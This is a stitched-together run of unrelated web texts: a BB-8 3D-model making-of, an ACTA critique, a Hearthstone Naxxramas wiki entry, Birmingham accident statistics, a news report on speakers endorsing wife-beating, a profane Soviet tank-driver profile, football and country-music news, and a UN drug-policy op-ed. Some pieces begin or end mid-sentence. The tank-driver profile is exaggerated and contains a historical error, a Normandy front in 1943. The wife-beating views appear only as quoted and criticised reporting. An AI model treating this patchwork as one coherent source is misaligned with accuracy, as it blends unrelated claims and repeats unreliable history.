Armed with my trusted Panasonic GH3, three lenses and Zoom H4N audio recorder we were able to capture all the video and audio we would need. Not only that, but of course we would also need to capture RAW photography to create high dynamic range images (HDRI) for the image based lighting to be used at the 3D rendering stage. This is why I love the GH3 as not only is the video great, but combined with a fisheye lens you can capture almost 180 degree photos to then build into spherical panoramas. So at each location we shot 4 angles to cover 360 degrees with plenty of overlap at 7 different exposures to capture a huge range of image data, ultimately creating 15 separate HDRI’s to be used in post production.
Post-production
Please share to download the free BB-8 model Share with any of the buttons below to reveal the download link
We hope you found this process breakdown of interest and if you are a 3D artist yourself, feel free to have fun with the model and share your work, we would love to see your renders. If you are interested in more making of material, check out our previous project with Mario in Tokyo.EU Official Who Resigned Over ACTA Details Why ACTA Is Dangerous; While His Replacement Seems Unlikely To Care
from the not-good dept
The problem with ACTA is that, unlike its title indicates, it is not only an agreement related to the fight against counterfeiting, but a much broader agreement meant to tackle all forms of violation of intellectual property rights, including on the internet. And here I am very much concerned because I (and many international experts) consider that the text of the agreement breaks this very fragile equilibrium between interests of right holders and protection of civil liberties. I would like to give two examples to illustrate this concern.
First is the article 11 of the agreement, which states that the right holder has the right to ask for information “regarding any person involved in any aspect of the infringement or alleged infringement”. This article is worded in such wide and unclear terms that it leaves a great deal of room for interpretation. In practice, almost anyone could be linked to an infringement of intellectual property rights and face criminal sanctions under such a vague definition. It is our responsibility as legislators and people’s representatives not to leave it to a judicial authority to decide of the scope of an agreement which could affect people’s civil liberties.
The second is the issue of having travelers’ personal luggage searched at borders. ACTA foresees that the use of counterfeited goods on a commercial scale can lead to criminal sanctions. But here again no definition of “commercial scale” is given. Article 14 of the agreement clearly states that, unless contrary action is taken by one of the parties, it is possible to search people’s personal luggage, including small consignments. So if a traveler has on his laptop or MP3 player a tune or movie downloaded illegally, could he face sanctions? How many tunes or movies would one need to set up a commercial illegal activity? In theory one would be enough… The problem again here is that ACTA does not give any clear indication. Besides the fact that it is an extremely sensitive issue to authorize for the search of all travelers’ luggage, and personally I am totally opposed to it, I see here a great risk for abuse and unjustified sanctions.
So if ACTA does not create any new rights for this foreign company, what is the point of the agreement? Or is it that only our companies gain new rights for the action they want to take in partner countries, while the companies set in these partner countries do not gain anything? The argument of the Commission is that ACTA does not change anything for European citizens, but that it represents a huge progress for our companies operating abroad. This is not serious. Maybe, if China or India had been part of the agreement, we could have considered that ACTA was a way of exporting to these countries our legislation which is very protective of intellectual property rights. This could have been a real progress. But this is not the case, almost all ACTA parties are developed economies with well functioning judicial systems. The conclusion is simple: either ACTA is useless, or it is a threat.
Last month, we noted that, Kader Arif, the ACTA rapporteur -- or the guy in charge of "investigating" ACTA for the EU Parliament -- had resigned in disgust over the fact that the EU was moving forward with ACTA. He noted that he was denouncing both the process and the agreement itself. Arif recently gave an interview with the WSJ where he went into much more detail about the problems associated with ACTA. It's really worth reading the whole thing because while defenders of ACTA (like defenders of SOPA before them) keep insisting that the complaints are based on misinformation, you can't accuse the very guy Parliament had investigate the agreement of being a victim of misinformation. Here's a snippet:Later, he explains how those backing ACTA, by saying that it won't have any impact on EU laws, are being misleading. He says that if that's true, then the document is useless. And if it's not true, then it's a threat to people's rights:Later in the interview he explains some of the reasons for his resignation, including the claim that some in Parliament more or less were trying to use some obscure procedures to force him into getting the document ratified in a very short period of time -- a timeframe he describes as "surreal for such a controversial file."That point becomes even more important as information comes out about Arif's replacement, David Martin, who appears to not have a very good track record on issues like this. This is unfortunate. Apparently a few other Parliament Members who were in line for the job, but who had already taken stands against ACTA, turned it down. So, it may have fallen to someone who will say it's fine.
Filed Under: acta, david martin, eu, eu parliament, kader arif, rapporteur"Whispers of an ancient tomb… holding horrors in every room. Ghastly ghouls, poisons galore… but in the shadows lurks something more. Knights of death and abominations… cleaving your bits for new creations. And if by chance you should survive - there’s plenty of sweet loot inside!"
Wild format Curse of Naxxramas is a Wild format adventure. Players are now able to purchase Naxxramas using the Blizzard app on their PC, under the Hearthstone section of the shop. Cards from the Naxxramas card set can only be played in Wild format matches, and can be crafted and disenchanted for regular Arcane Dust amounts. For more information, see Game format.
Curse of Naxxramas (Naxxramas, Naxx) is Hearthstone's first adventure, released July 22, 2014.
Set in the Scourge necropolis of Naxxramas, Curse of Naxxramas is a five-wing adventure, with each wing representing one of the wings of the World of Warcraft Naxxramas raid instance. The adventure features a total of 30 collectible cards, which can be gained through completing various aspects of the adventure. Each wing of the adventure must be purchased before they can be played. As a Wild format adventure, Naxxramas cards can also be crafted without purchasing or completing the adventure.
The adventure itself comprises a series of unique boss battles distributed throughout the wings. Players are able to tackle bosses in the basic Normal mode, the gruelling Heroic mode, or through Class Challenges, bringing strategic twists to existing boss encounters with special pre-selected decks. Defeating each encounter will grant 2 copies of a new Naxxramas card, while each wing will grant a copy of a new legendary Naxxramas minion.
Adventure mode [ edit | edit source ]
Selecting the adventure. The number of unbeaten Normal bosses is shown, while the red skull indicates there are Heroic bosses to kill.
Kel'thuzad speaks as the player prepares for the first boss.
Play in Curse of Naxxramas consists of games against computer opponents, known as bosses. Each wing of the adventure houses two to four bosses, for a total of 15.
Players must defeat each boss in order to unlock the next boss in that wing. The final wing requires all previous wings to be defeated before unlocking,[1] but the first four can be completed in any order, or simultaneously. Finishing each wing in Normal mode unlocks the one or two Class Challenges for that wing, as well as its Heroic mode.[2]
Kel'Thuzad, the final boss, "hosts" the adventure, addressing the player as he or she progresses through the adventure, starting with the unlocking of the very first wing. He is alternately threatening, genial, and comical, or sometimes a combination of all three. During boss battles, the bosses and certain minions chime in as well, at predetermined times and sometimes in response to player actions.
Defeating bosses rewards you with non-golden Naxxramas cards. Each Normal mode boss awards two copies of a specific card, often thematically associated with that boss. Similarly, Class Challenges award two copies of that class's class-specific Naxxramas card. Completing each full wing in Normal mode grants the player one or two predetermined Naxxramas legendary cards.
As a Wild format adventure, all Naxxramas cards can also be crafted, without completing the related encounters. This includes both regular and golden versions, and crafting is the only way to obtain golden Naxxramas cards.
Heroic mode does not provide any cards. Instead, it awards a special card back once all 15 bosses are defeated.[3]
Bosses are worth XP in equal amounts to Practice mode,[4] but do not qualify for the purpose of completing quests (other than the "Total Dominance" quest) or any other gold reward, making the adventure a poor source for gold acquisition.[5]
The following table illustrates the arrangement of wings, bosses, and rewards of the adventure. The placement of the Class Challenge sections indicate which boss features in each Challenge, as well as which wing must be completed in order to unlock it. The "Dust value" column shows the amount of Arcane Dust the cards in that wing will produce if disenchanted.
Curse of Naxxramas bosses Some of thebosses
Main article: Boss
Each boss is a computer opponent with their own unique cards and Hero Powers, designed to be "tough, unique, and interesting" encounters[1] that introduce new strategic elements, forcing you to "change how you play".[6] The adventure features 15 bosses, with both the bosses and their sequence matching the raid's World of Warcraft incarnation.[7]
Bosses use a combination of unique Hero Powers, regular collectible cards (including class cards from any or multiple classes), and special boss cards which are not available for players to collect, equipped with unbalanced effects described as "totally unfair... totally brutal".[8] Boss decks are built from the standard 30 cards, but like Arena decks are not subject to the 2-copies-per-card limit found in constructed play, often containing as many as 6 copies of certain cards.
Curse of Naxxramas bosses can be played in Normal or Heroic mode, and in some cases a Class Challenge mode. Normal mode is the default for playing adventures, designed to allow players of all abilities to participate in and complete the adventure. Bosses in Normal mode and Class Challenges use the Naxxramas card back, while bosses in Heroic mode appropriately use the Heroic Naxxramas card back.
Heroic mode [ edit | edit source ]
"Kel'Thuzad has dramatically improved his dungeon and is ready for round 2. Heroic is VERY difficult and is not for the faint of heart!"
Unlike Normal mode, Heroic difficulty offers a substantial challenge even to experienced players, likely requiring several attempts and numerous deck revisions in order to succeed. Heroic bosses usually come with more powerful Hero Powers, as well as more Health. Heroic mode bosses may also use slightly different decks,[9] and improved versions of boss cards.
Heroic mode is not immediately available. A player must defeat the entire wing's bosses before facing the Heroic mode of any boss from that wing.
Defeating all bosses in Heroic mode earns the player a new card back (see below).
Class Challenges [ edit | edit source ]
Choosing a Class Challenge
Main article: Curse of Naxxramas Class Challenges
Curse of Naxxramas contains nine class-specific Class Challenges, with each offering a new and more difficult twist on the adventure's encounters, tailored to that class. Completing each Class Challenge rewards the player with 2 copies of a new class-specific card for that class. Class Challenges do not have Heroic mode versions.
Class Challenges use predetermined decks, which are not revealed in full to the player at any point. These decks are the usual 30 cards, but like the Arena are not subject to the 2-copies-per-card limit found in constructed play. Each Class Challenge features the reward card, and often other cards from Curse of Naxxramas which may not yet be available to the player depending on his or her progress through the adventure.
Class Challenge decks usually have specific themes, and often serve to specifically demonstrate how the reward card can be used to great effect, such as by including several other cards with which it has good synergy. This synergy often extends to the Hero Powers and cards used by the Challenge's boss.
Like Heroic mode, Class Challenges must be unlocked by completing the corresponding wing of the Normal adventure.
For full decklists and strategy guides, see Curse of Naxxramas Class Challenges.
Each wing of the adventure must be purchased with gold or real money in order to unlock it for play. Once a player has unlocked a wing, that wing stays unlocked, and can be replayed as frequently and as many times as desired.[10]
As a Wild format adventure, Curse of Naxxramas is no longer available for purchase by new players through the in-game Shop and must be purchased through the Blizzard Shop with real money. Players who have already purchased at least one wing can purchase the remaining wings through the adventure itself.
Curse of Naxxramas is only accessible by players who have unlocked all 9 classes.
Players can purchase wings using either gold or real money. "Bundle" discounts are offered if purchasing all remaining locked wings at one time using real money.[11]
Package USD EUR GBP AUD MXN Gold All 5 wings $24.99 €21.99 £17.49 $31.99 $319 Remaining 4 $19.99 €17.99 £13.99 $24.99 $259 Remaining 3 $14.99 €13.99 £10.49 $18.99 $189 Remaining 2 $9.99 €8.99 £6.99 $12.99 $129 Individual wings $6.99 €5.99 £4.99 $8.99 $89 700 Gold
Discount analysis [ edit | edit source ]
The USD bundle prices all offer the same price per wing: $4.99, a 29% price reduction.
The Euro discounts mostly offer a price per wing of around €4.45, a 26% discount, with the 3-wing option offering a slightly lower 22% reduction.
The GBP discounts mostly offer a price per wing of £3.49, a 30% discount.
The AUD discounts range from $6.25 to $6.50 per wing, offering a 28-30% discount.
Release schedule [ edit | edit source ]
The Curse of Naxxramas wings were originally made available over the course of five weeks - purchasing a wing did not immediately grant players access to it. The first wing was originally free to access, with players entering it prior to September 30th that year permanently unlocking the wing.[3][12] The first wing was then available with the same pricing as the others.
Curse of Naxxramas adds 30 collectible cards to the game - 21 neutral cards and 9 class-specific cards, 1 for each class - as well as 5 uncollectible cards. Naxxramas cards can be recognised by a special watermark (a skull set upon the silhouette of Naxxramas itself) behind the card text, not found on other cards. Many Naxxramas cards follow a Deathrattle theme, or involve minion death in some way.
Since the adventure's conversion to Wild format, both regular and golden versions of Naxxramas cards can be obtained through crafting, without needing to purchase the adventure or complete the related encounters. Naxxramas cards can also be disenchanted for the usual amounts.
Alternatively, players can still obtain copies of the cards through completing specific encounters within the adventure, originally the only way of obtaining these cards:
Bosses Defeating each boss awards a non-legendary neutral card x 2
Completing wings Completing each wing rewards the player with a legendary neutral card (two for the Construct Quarter) These cards usually represent one of the bosses from that wing
Class Challenges Completing each Class Challenge awards a class-specific common card
Card table [ edit | edit source ]
Name / Desc Rarity Type Subtype Class Cost Atk HP Description Slime None Minion General Any 1 1 2 Taunt Spectral Spider None Minion General Any 1 1 1 Thaddius None Minion General Any 10 11 11 Treant None Minion General Druid 1 2 2 Anub'ar Ambusher Common Minion General Rogue 4 5 5 Deathrattle: Return a random friendly minion to your hand. Originally he was called "Anub'ar Guy who bounces a guy back to your hand", but it lacked a certain zing. Avenge Common Spell Paladin 1 Secret: When one of your minions dies, give a random friendly minion +3/+2. Several paladins have joined together to deliver justice under the name "Justice Force." Their lawyer talked them out of calling themselves the Justice League. Dancing Swords Common Minion General Any 3 4 4 Deathrattle: Your opponent draws a card. They like to dance to reggae. Dark Cultist Common Minion General Priest 3 3 4 Deathrattle: Give a random friendly minion +3 Health. The Cult of the Damned has found it's best not to mention their name when recruiting new cultists. Death's Bite Common Weapon Warrior 4 4 2 Deathrattle: Deal 1 damage to all minions. "Take a bite outta Death." - McScruff the Deathlord Duplicate Common Spell Mage 3 Secret: When a friendly minion dies, put 2 copies of it into your hand. The one time when duping cards won't get your account banned! Haunted Creeper Common Minion Beast Any 2 1 2 Deathrattle: Summon two 1/1 Spectral Spiders. Arachnofauxbia: Fear of fake spiders. Mad Scientist Common Minion General Any 2 2 2 Deathrattle: Put a Secret from your deck into the battlefield. His mother wanted him to be a mage or a warlock, but noooooooo, he had to go and be a scientist like his father. Nerub'ar Weblord Common Minion General Any 2 1 4 Minions with Battlecry cost (2) more. Weblords spend all day making giant trampoline parks. Poison Seeds Common Spell Druid 4 Destroy all minions and summon 2/2 Treants to replace them. "Poisonseed Bagel" is the least popular bagel at McTiggin's Druidic Bagel Emporium. Reincarnate Common Spell Shaman 2 Destroy a minion, then return it to life with full Health. It's like birth, except you're an adult and you were just dead a second ago. Spectral Knight Common Minion General Any 5 4 6 Can't be targeted by spells or Hero Powers. What do Faerie Dragons and Spectral Knights have in common? They both love pasta! Stoneskin Gargoyle Common Minion General Any 3 1 4 At the start of your turn, restore this minion to full Health. Stoneskin Gargoyles love freeze tag. Undertaker Common Minion General Any 1 1 2 Whenever you summon a minion with Deathrattle, gain +1 Attack. In a world where you can run to a spirit healer and resurrect yourself, Undertakers do pretty light business. Unstable Ghoul Common Minion General Any 2 1 3 Taunt. Deathrattle: Deal 1 damage to all minions. Filling your Ghouls with Rocket Fuel is all the rage at Necromancer school. Voidcaller Common Minion Demon Warlock 4 3 4 Deathrattle: Put a random Demon from your hand into the battlefield. "Void! Here, void! Here, buddy!" Webspinner Common Minion Beast Hunter 1 1 1 Deathrattle: Add a random Beast card to your hand. Spider cocoons are like little piñatas! Zombie Chow Common Minion General Any 1 2 3 Deathrattle: Restore 5 Health to the enemy hero. Zombie. It's what's for dinner. Deathlord Rare Minion General Any 3 2 8 Taunt. Deathrattle: Your opponent puts a minion from their deck into the battlefield. "Rise from your grave!" - Kel'Thuzad Nerubian Rare Minion General Any 4 4 4 Nerubian Egg Rare Minion General Any 2 0 2 Deathrattle: Summon a 4/4 Nerubian. Eggs are a good source of protein and Nerubians. Sludge Belcher Rare Minion General Any 5 3 5 Taunt. Deathrattle: Summon a 1/2 Slime with Taunt. DO NOT GIVE HIM A ROOT BEER. Wailing Soul Rare Minion General Any 4 3 5 Battlecry: Silence your other minions. This soul just wails on you. Dang, soul, let up already. Echoing Ooze Epic Minion General Any 2 1 2 Battlecry: Summon an exact copy of this minion at the end of the turn. OOZE... Ooze... Ooze... (ooze...) Shade of Naxxramas Epic Minion General Any 3 2 2 Stealth. At the start of your turn, gain +1/+1. The Shades of Naxxramas hate the living. They even have a slur they use to refer them: Livers. Baron Rivendare Legendary Minion General Any 4 1 7 Your minions trigger their Deathrattles twice. There used to be five Horsemen but one of them left because a job opened up in the deadmines and the benefits were better. Feugen Legendary Minion General Any 5 4 7 Deathrattle: If Stalagg also died this game, summon Thaddius. Feugen is sad because everyone likes Stalagg better. Kel'Thuzad Legendary Minion General Any 8 6 8 At the end of each turn, summon all friendly minions that died this turn. Kel'Thuzad could not resist the call of the Lich King. Even when it's just a robo-call extolling the Lich King's virtues. Loatheb Legendary Minion General Any 5 5 5 Battlecry: Enemy spells cost (5) more next turn. Loatheb used to be a simple Bog Beast. This is why we need stricter regulations on mining and agriculture. Maexxna Legendary Minion Beast Any 6 2 8 Poisonous Maexxna gets super mad when people introduce her as "Maxina" or "Maxxy". Stalagg Legendary Minion General Any 5 7 4 Deathrattle: If Feugen also died this game, summon Thaddius. Stalagg want to write own flavor text. "STALAGG AWESOME!" Showing all 35 cards
Neutral cards [ edit | edit source ]
The adventure brings 21 new collectible neutral cards, as well as several uncollectible cards.
Class cards [ edit | edit source ]
The adventure includes 9 collectible class cards, with 1 common card for each class:
Boss cards and Hero Powers [ edit | edit source ]
Main article: Naxxramas boss cards
In addition to the playable cards listed above, Curse of Naxxramas brings numerous unique cards and Hero Powers available only during the adventure's boss encounters.
Including both Normal and Heroic mode versions, the adventure includes 50 boss cards, and 28 boss-only Hero Powers.
For a |
meantime, I urge all motorists to drive with due care and consideration, to keep Brummies and other road users safe."
The improvements to Bordesely Circus and Five Ways were part of a £14 million improvement to the ring road's traffic "pinch points" and designed to ease congestion, as well as improve safety for motorists, cyclists and pedestrians.
Salford Cirucs, under Spaghetti Junction, also saw traffic signals installed last year in a bid to cut accidents and improve traffic flow.
Previous accident hotspots in Birmingham, such as the Shenley Fields Road/Middle Park Road junction in Weoley Castle and the Solihull Hospital roundabout have dropped out of the top five list in the past 12 months.
Overall analysis of government data also uncovered an increase in accidents on roundabouts in the West Midlands in the past year, with Coventry seeing a 48 per cent increase, Birmingham a 12 per cent rise and Sandwell eight per cent.
The other four metropolitan boroughs – Dudley, Solihull, Walsall and Wolverhampton – saw decreases between 2014 and 2015.
Nationally, accidents fell by 5.8 per cent but the number of fatal accidents on UK roundabouts increased from 30 to 54.
Only the roundabout at the Elephant and Castle tube station in Southwark, London, is more dangerous than Bordesley Circus, with 163 accidents in six years.
West Midlands' Five Most Dangerous
1. Bordesley Circus (105 accidents)
2= Edgbaston Five Ways (49)
2= Birmingham Road/M5 island, Sandwell (49)
4= Cinder Bank Island, Dudley (37)
4= Salford Circus, Spaghetti Junction (37)
4= Belgrave Interchange (37)
(Accidents 2010 to 2015)Muslim men are allowed to hit their wives if they disobey them and domestic violence is a 'beautiful blessing', according to the women's branch of a radical Islamic group.
Sydney primary school teacher Reem Allouche told the women's arm of hardline political group Hizb ut-Tahrir that men are permitted to hit women with sticks.
During the 30-minute discussion at a meeting in Sydney's west, Ms Allouche and fellow panellist Atika Latifi - who are both wearing headscarves - describe how beating women is a'symbolic act'.
At one point they even demonstrated how to use a small stick called a'sivaak' to hit 'disobedient' women.
Muslim men are allowed to hit their wives if they disobey them and domestic violence is a 'beautiful blessing', according to the women's branch of a radical Islamic group
In a video of the debate, which has been posted on Facebook, Ms Allouche says men should use the sivaak to punish their wives.
She then uses one of the sticks to hit Ms Latifi while the pair laugh.
Other permissible methods to punish women involve using a twisted scarf or piece of fabric, the women say.
Ms Allouche says the act is'symbolic', while Ms Latifi claims it's 'a beautiful blessing'.
The women agree that they should only be beaten if they are caught 'committing sin' - pointing out that this means seriously disrespecting Allah or their husbands.
'Disobedience to the husband. Immoral acts or cheating. Admitting anyone to the home that the husband doesn't like,' Ms Latifi explains.
Ms Allouche smiles as she adds that does not mean a man can beat his wife simply for not cooking dinner, with the women agreeing that violence should only be used to 'promote tranquility'.
The pair agree that men have the right to beat their wives because husbands take a 'leadership' position within the family.
Sydney primary school teacher Reem Allouche (left) told the women's arm of hardline Islamist political group Hizb ut-Tahrir that men are permitted to hit women with sticks
During the 30-minute discussion at a meeting Sydney's west, Ms Allouche and fellow panellist Atika Latifi (right) describe how beating women is a'symbolic act'.
'It goes hand in hand that he would have the right to undertake disciplinary measures,' Ms Allouche says.
Ms Latifi adds: 'He is permitted - not obliged, not encouraged - but permitted, to hit her. That is what everyone is talking about. It should not cause pain. Not harsh.'
Islamic leader Keysar Trad apologised at the weekend for saying hitting women was a 'last resort'
During the debate, Ms Allouche says wives who disobey Muslim teachings could face a beating from their husband, but only because 'he loves his wife, he fears for his wife'.
'It's almost a natural consequence,' she adds.
'He's not responding through anger or frustration or rage. He's responding in obedience to Allah's commands, in a measured and staged way, because we know when people talk about violence against women, often it happens in the heat of the moment, in anger, in frustration and what-not, whereas here, it's managed.'
Ms Latifi claims violence should be a last resort for husbands, saying they should admonish them first.
If that does not work, he should'refuse to share the bed with her, not being intimate with her'.
Finally, if that does not work, he 'is permitted to hit her'.
'And what a beautiful blessing, that he said not to take the steps at the one time, but one after the other,' she continues.
'And what is the third option all about? What kind of hitting? It should not cause pain.'
The all-women meeting was held in Lakemba in Sydney's inner west, The Australian reported.
The government considered banning Hizb ut-Tahrir in 2007 but eventually deemed it to be a political group.
Islamic leader Keysar Trad apologised at the weekend for saying hitting women was a 'last resort', admitting to Sky News presenter Andrew Bolt that he had made a'slip up'.When Nazis invaded her homeland, bombed her city, blew up her house, kicked over her garbage cans, walked across her kitchen floor without taking their boots off, and violently killed her husband during the Battle of Kiev, the Ukrainian housewife/political activist/ultimate killing machine Mariya Oktyabrsakaya didn't just get so roid-ragingly pissed that should could have torn the turret off a Panzer IV with her teeth.
She got revenge. Violent, armor-piercing, high-explosive, white-knuckled revenge served Siberian Ice Cold with a side of mashed potatoes and a pot of hot borscht to the face.
This hardcore woman sold all of her worldly possessions, clenched her teeth, bought a 26-ton T-34 Main Battle Tank, taught herself how to drive it and repair it, and just start blasting the ever-loving unholy Nazi-loving dickballs off of every single gun-swinging Fascist bastard that came within range of the fearsome-looking 76mm cannon mounted on the turret of her vengeance-fueled war machine, and she didn't take her finger off the trigger or her hands off the throttle until someone pried them out of her cold dead hands.
One of ten kids born into a massive, dirt-poor Ukrainian peasant family back in the dying days of the Russian Empire, Mariya Oktyabrskaya was a hardcore Communist who took part in the Russian Revolution, married a Red Army officer in the new Soviet Union, and did her job for the proletariat working factory and phone operator jobs for whatever the hell passed as minimum wage in 1930s Russia. Things were going well, she was active in political Commie stuff, her husband was probably a pretty cool guy, and everything was pretty much excellently set up for it to be the idyllic beginning of some action movie right before the hero flips out like a ninja and starts machinegunning his way through hordes of faceless jobbers in generic-looking uniforms.
The catalyst for this Ultimate Freak Out of Doom was the Nazi invasion of Soviet Russia in 1941, when roughly two-thirds of Hitler's army came waltzkreiging their way into the Motherland riding a tidal wave of sloped armor-plated blast-resistant steel and 88mm high-explosive anti-tank cannons. Things were blowing up like crazy all over the place, the Nazis cleaned house, and the Wehrmacht was rocking it so hard that pretty much every time an SS officer took a leak two thousand Russians exploded.
That was bad enough. But it was when the Germans attacked Kiev, killed Mariya's husband, and flattened the city that she decided it was time to take matters into her own hands.
HEEERE'S JOHNNY
Mariya Oktyabrskaya, shaking with wifely Communist rage and an insatiable urge to kill every Fascist on Earth, went to Siberia, sold everything she owned, bought a brand-spanking-new olive drab T-34 Medium Battle Tank fresh off the assembly line directly from a manufacturing facility, taught herself how to operate it, painted the words "Fighting Girlfriend" in Cyrillic on the side of the turret, and rolled it right up to the first Red Army armored division she could find – the elite 26th Guard Tank Brigade.
These dudes weren't quite sure what to make of Oktyabrskaya at first, but, you may know, it's hard to say no to a chick in a tank, so they were like, "yeah dude sounds great little lady lol let's see what you got toots". They enrolled her in a three-month training program, hooked her up with three crewmen to help her man the tank, enlisted her in the Red Army as a driver and a mechanic, and threw her straight into front-line combat, even though most of the dudes in the service were pretty much convinced she was going to make it about twenty feet before some Tiger tank blew her up so hard that her badass-looking driving goggles would land in another dimension.
Sergeant Oktyabrskaya rolled her T-34 to the front, revved the hardcore 500 horsepower 38.8 Liter V12 engine loud enough to drown out the sound of a jet engine, did a kickass Tank Burnout like an armor-plated machine-gun toting analogue of Vin Diesel's '69 Charger in The Fast and the Furious, and peeled out straight into the middle of an oncoming wave of Nazi tanks. When the black smoke finally dissipated and the sky stopped being a raging tornado of scrap metal and dead Nazis, Fighting Girlfriend had wiped out a half-dozen self-propelled anti-tank guns, a couple machine gun nests, and had been the first tank to spearhead a full breakthrough of the German position.
She was just getting started.
Just in case anybody still questioned this rampaging war-chick's gigantic titanium-armor-plated fem-balls, Oktyabrskaya proved herself yet again in a battle that took place just a couple weeks after this, when, in the midst of a massive crossfire, she literally jumped out of her tank to fix it in the middle of a battle. A Panzershreckt bazooka team had blown one of the treads on her T-34 and Mariya, not content to wait around for Soviet Triple-A to come make a battlefield service call, popped the hatch, left the relative safety of her bulletproof tank driver's cockpit, ordered her turret gunner to lay down enough machine gun fire to dismember a forest, and repaired the tread while Nazis took potshots at her. With enemy bullets pinging off the hull of her tank, Mariya dug through her repair kit, fixed the tread, gave the Germans the finger, then hopped back into the tank and crushed a couple dozen guys underneath the newly-repaired treads of her ferocious all-consuming war machine. Oh yeah, and if you think jumping out of your tank to fix it is insane, it is. But this didn't stop Mariya Oktyabrskaya from doing it twice more during her career.
Her comrades in the 26th Guards Tank Brigade naturally accepted her into their ranks as "one of the guys" almost immediately after seeing this ridiculousness go down, and within the next few months the Russian papers caught on to Mariya's story and got her involved with the Commie Propaganda Machine. Fighting on the front lines in battle after battle, Oktyabrskaya is also believed to have participated in the largest tank battle ever in human history, the Battle of Kursk, in 1943, rocking the control stick of the T-34 in a psychotic melee of German and Russian armor that had more in common with Iron Tank on the NES or a MechWarrior multiplayer server than a traditional tank battle. With tank-destroying bazooka rockets and armor-piercing artillery shells cratering the earth into a scorched pothole of misery, Oktyabrskaya swerved, darted, evaded, and positioned her tank so her gunners could do their part to level the German war machine and turn the tide of the war against Hitler once and for all.
The Battle of Kursk.
Fighting Girlfriend fought her final battle in November, after having served in front-line combat for almost a full year. The Germans, having been smashed at Stalingrad, Moscow, and Kursk and now being pressed on the Normandy front as well, were falling back, desperately trying to hold on to their positions, and Oktyabrskaya and the Russian War Machine were steadily driving the Nazis back to Berlin. Oktyabrskaya was ordered to undertake a daring night attack on German positions, flipping on the searchlight of her T-34, driving through almost total darkness straight on into heavily-fortified enemy positions, trying desperately to focus her fire on enemy muzzle flashes and driving on instinct and reaction time alone.
Spearheading the assault, Oktyabrskaya drove straight-on into the enemy, wiping out a StuG self-propelled anti-tank gun (basically a badass tank without a moveable turret) with a well-placed shot and rolling her machine over two packed-out trenches full of Nazi artillery and infantry, wasting everything on either side of her. The Germans focused their fire on the lead Soviet tank that was smashing through their lines, and one round from an anti-tank artillery gun nailed Fighting Girlfriend in the tread, breaking its track and starting a small fire. Mariya Oktyabrskaya, once again fearless in the face of enemy fire, leapt out, put out the flames, and went to work on the track.
A German artillery shell exploded nearby, killing her with razor-sharp shrapnel to the head, her body falling onto the tank she was repairing. A second shell scored a direct hit on Fighting Girlfriend, lighting it up in an awesome-looking Blaze of Glory.
For her service to the Motherland, Tank Driver Mariya Oktyabrskaya would be awarded the Gold Star of the Hero of the Soviet Union, the highest award for military bravery offered by the USSR.
Sources:
Forczyk, Robert. Panther vs. T-34. Osprey, 2007.
Miles, Rosalind and Robin Cross. Hell Hath No Fury. Random House, 2008.
Pipe, Jim. Wild Warriors. Evans Brothers, 2011.
Sakaida, Henry. Heroines of the Soviet Union. Osprey, 2003.
Streather, Adrian. Soviet Military and Paramilitary Services. Veloce, 2011.Despite being more than handsomely compensated - though quite likely at a rate below £20,000/week - Andreas Christensen isn't willing to let his career stagnate. Safe to say, that's an admirable aim and one that is no doubt shared by the Chelsea decision-makers. Still, Christensen's father and advisor has seen fit to send a warning to Chelsea through Danish media channels.
"We are forced to think about Andreas' future and progress. From our point of view, something needs to happen after the summer." "Whether it is in the first-team squad or something different, we have to consider. He should not spend one or two years where he stagnates. Andreas will not go on loan." -Sven Christensen; source: BT via Sky Sports
While it's a bit silly to equate a loan with automatic stagnation, with examples like Josh McEachran or Victor Moses, it's fairly easy to see where the father's concerns are coming from. At least he carefully avoided using the dreaded'sale' word.
"I have talked to his coach Dermot Drummy, who said that Andreas is ready for the next step. He would like to keep Andreas, but as he said, for Andreas to progress, he needs to take a step forward." "Therefore, I need to have a meeting with Chelsea. In case they don't want to offload him, then they have got to do something to give him a challenge all the time. It's a matter of his future progress as a footballer." -Sven Christensen; source: BT via Sky Sports
Complicating the situation is the 18-year-old center back's home-grown status. As his father also points out, Andreas has been at Chelsea for two years now. A third would qualify him as fully home-grown, even if UEFA's eyes (i.e. "club trained"). A loan to an English or Welsh club would satisfy Premier League requirements. He's halfway through his original deal, which is set to expire in 2016.
With Christensen ready and looking to take the next step - and I'm sure many would agree with the father's and Dermot Drummy's similar assessments of the highly talented defender - this could get interesting.A publicist for country music legend Loretta Lynn says she has been hospitalized after having a stroke.
Maria Malta confirmed Friday that the 85-year-old singer and songwriter was admitted into a Nashville hospital on Thursday night after suffering the stroke at her home in Hurricane Mills, Tennessee.
Lynn's website says she is responsive and expected to make a full recovery.
It says Lynn has been advised by doctors to stay off the road while she recuperates, and upcoming scheduled shows will be postponed.
Born a Kentucky coal miner's daughter, Lynn had a string of hits starting in the 1960s with the biographical "Coal Miner's Daughter," "You Ain't Woman Enough," "The Pill," and "One's on the Way." Her songs reflect pride in her humble background and speak frankly of her experiences.
Her 1977 autobiography was made into a popular movie that brought an Oscar for Sissy Spacek's portrayal of the singer. More recently, she won two Grammy Awards in 2005 for her album "Van Lear Rose."
She continues to tour and record regularly, but had to postpone shows last year after suffering injuries in a fall that required surgery. She is set to release a new album this August.The atmosphere at the United Nations General Assembly's Special Session on Drugs is dense with hypocrisy. I didn't fly all the way from California to New York to participate in one of the most significant conversations on drug policy in world history so that youth -- the very demographic the UN General Assembly President said we should be listening to -- could be locked out of discussions about youth. I didn't fly all the way here so the UN could censor the opinions of drug reformists, politicians, and experts before they even got in the door.
I've been writing about the toll that the War on Drugs has taken on young people and families for a long time. So, instead of paying lip service on Twitter, like UN General Assembly President H.E. Mogens Lykketoft, I'm going to let a young person speak.
"We were redirected to three different buildings just trying to get our passes. Once we received our passes, we weren't allowed to the balcony we were supposed to be viewing the General Assembly from because they said it was closed. From there, we left to attend a side event on the importance of including youth voices in drug policy dialogue, where we were once again denied access... After speaking with numerous confused security personnel, filling out security forms, getting our official passes printed, and returning to the side session in hopes of making it into a question period, we were ultimately denied. I was infuriated. It's so hypocritical to deny youth access to a discussion about youth voice in drug policy and have adults and government officials speak on our behalf. It felt like a huge scam and a Kafka-esque, bureaucratic fever dream; I couldn't believe it was happening. We've been preparing for so long and honestly believed we'd have a chance to speak for ourselves for once." - Heather D'Alessio, Ottawa, ON - CanadianStudents for Sensible Drug Policy
Modern abolitionists sought a glimmer of hope in this convening of world leaders. It's the first UN Special Session on Drugs since 1998. Last time, they agreed the ultimate goal was to eradicate drug use worldwide. After clearly failing, what we're left with is an increasingly tragic overdose crisis, to which my own brother fell victim; ever-encroaching cartel violence at our southern border; and a historically high mistrust between communities and police.
